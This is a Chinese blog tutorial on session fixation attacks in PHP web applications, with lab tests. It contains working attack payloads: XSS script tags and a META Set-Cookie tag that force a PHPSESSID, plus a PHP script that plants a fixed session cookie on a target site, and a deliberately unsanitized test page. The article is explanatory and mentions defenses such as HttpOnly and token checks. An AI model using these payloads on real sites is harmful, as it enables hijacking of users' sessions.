美文网首页Web网络安全
常见WEB攻击之Session攻击(会话固定)

常见WEB攻击之Session攻击(会话固定)

作者: 乔治大叔 | 来源:发表于2020-06-18 12:19 被阅读0次

    会话固定攻击方式

    会话固定(Session fixation)是一种诱骗受害者使用攻击者指定的会话标识(SessionID)的攻击手段。这是攻击者获取合法会话标识的最简单的方法。(让合法用户使用黑客预先设置的sessionID进行登录,从而是Web不再进行生成新的sessionID,从而导致黑客设置的sessionId变成了合法桥梁。)

    会话固定也可以看成是会话劫持的一种类型,原因是会话固定的攻击的主要目的同样是获得目标用户的合法会话,不过会话固定还可以是强迫受害者使用攻击者设定的一个有效会话,以此来获得用户的敏感信息。


    会话固定.jpg

    Web接收sessionID机制:

    早期浏览器存贮的sessionID容易暴露、使用URL来传送sessionID

    首先检查携带cookie是否含有sessionID;若没有则再检查get、post数据中是否含有,若有则使用此数据;没有才会使系统生成一个sessionID发给客户端。(经测试,get与post都不能设置sessionID【也许是被浏览器限制或者被代码本身禁止了吧,不过没关系,咱还有其他方法进行固定sessionID!】)

    重置sessionID方式:

    (一)使用客户端脚本来设置Cookie到浏览器。大多数浏览器都支持用客户端脚本来设置Cookie的,例如document.cookie="sessionid=123",这种方式可以采用跨站脚本攻击来达到目的。防御方式可以是设置HttpOnly属性,但有少数低版本浏览器存在漏洞,即使设置了HttpOnly,也可以重写Cookie。所以还需要加其他方式的校验,如User-Agent验证,Token校验等同样有效。
    测试例子:

    html页面(表单),用于跨站脚本攻击

    <!DOCTYPE html>
    <html>
    <head>
        <title>乔治大叔</title>
        <meta charset="utf-8">
    </head>
    <body>
    <form action="./test2.php" method="post">
    name:<input type="text" name="name" id='GeorgeJ'><br/>
    age:<input type="text" name="age"><br/>
    <input type="submit" name="" value="提交">
    </form>
    </body>
    </html>
    
    <?php
    header("content-type:text/html;charset=utf8");
    session_start();
    if(!isset($_SESSION['count']))  #自增测试
    {
        $_SESSION['count']=0;
    }
    else
    {
        $_SESSION['count']++;
    }
    echo '$_POST数据:';
    echo "<pre>";
    print_r($_POST);        #不处理数据直接接收
    echo "</pre>";
    echo '$_SESSION数据:';
    echo "<pre>";
    print_r($_SESSION);
    echo "</pre>";die;
    ?>
    

    测试:

    1、表单中插入数据,并提交。然后不断刷新test2.php

    <script type='text/javascript'> document.cookie='PHPSESSID=12345' </script>
    

    2、接着分别查看sessionID以及count数值

    $_POST数据:
    Array(
    ...
    )
    $_SESSION数据:
    Array(
          [count] => 5
    )
    
    image

    3、在其他浏览器中,执行相同的步骤1(保证sessionID与之前相同)和2,可以看到count初始值不是0,而是在之前的基础上增加的。

    结论:盗取sessionID成功!

    使用HTML的<META>标签加Set-Cookie属性。服务器可以靠在返回的HTML文档中增加<META>标签来设置Cookie。例如<meta http-equiv='Set-Cookie' content='PHPSESSID=22333'>,与客户端脚本相比,对<META>标签的处理目前还不能被浏览器禁止。【只要让此行代码在服务器中执行即可入侵】

    测试:

    只要让此行代码执行即可,(<meta http-equiv='Set-Cookie' content='PHPSESSID=22333'>)即可。我们将它放入表单中然后提交给PHP;接着不断刷新,再换浏览器执行相同步骤。和上面的测试一样!接着查看结果

    image

    使用Set-Cookie的HTTP响应头部设置Cookie。攻击者可以使用一些方法在Web服务器的响应中加入Set-Cookie的HTTP响应头部。如会话收养,闯入目标服务器所在域的任一主机,或者是攻击用户的DNS服务器。
    测试:(伪造浏览器执行http请求)

    1、攻击者控制的服务器(www.George88.com

    2、www.George88.com/George99.php

    客户访问这个页面,无形之中就简介访问第三方网站,并绑定一个sessionID;攻击者就可以掌握这个sessionID进行相应的攻击了

    <?php
    header("content-type:text/html;charset=utf8");
    $host='www.linuxtest.com';
    $port=80;
    $a=fsockopen($host,$port);
    
    //请求行
    $request_data="Get /test2.php HTTP/1.1\r\n";
    //请求头
    $request_data.="Host: www.linuxtest.com\r\n";
    $request_data.="User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:10.0) Gecko/20100101 Firefox/10.0\r\n";
    $request_data.="Connection: keep-alive\r\n";
    $request_data.="Cookie: PHPSESSID=99999\r\n";   #设置sessionID
    $request_data.="\r\n"; //空行表示头结束
    //发送数据
    fwrite($a,$request_data);
    
    #用于测试
    //接收数据
    $inheader=1;
    while(!feof($a))
    {
        //echo fgets($a,1024);
        //除去请求头,只显示返回数据
        $data=fgets($a,1024);
        if($inheader && ($data=="\n" || $data=="\r\n"))
        {
            $inheader=0;
        }
        if($inheader==0)
        {
            echo $data;
        }
    }
    //关闭请求
    fclose($a);
    
    ?>
    

    2、接着,模拟黑客进行攻击。

    在表单中插入数据(<script type='text/javascript'> document.cookie='PHPSESSID=99999' </script>),然后提交,并不断刷新test2.php,并观察count值。【换不换浏览器都可以,本质上讲黑客构造的http访问代码就相当于一个独立的浏览器】

    结果显示:count值是不断增加!此时证明攻击成功!

    相关文章

      网友评论

        本文标题:常见WEB攻击之Session攻击(会话固定)

        本文链接:https://www.haomeiwen.com/subject/bpmcpctx.html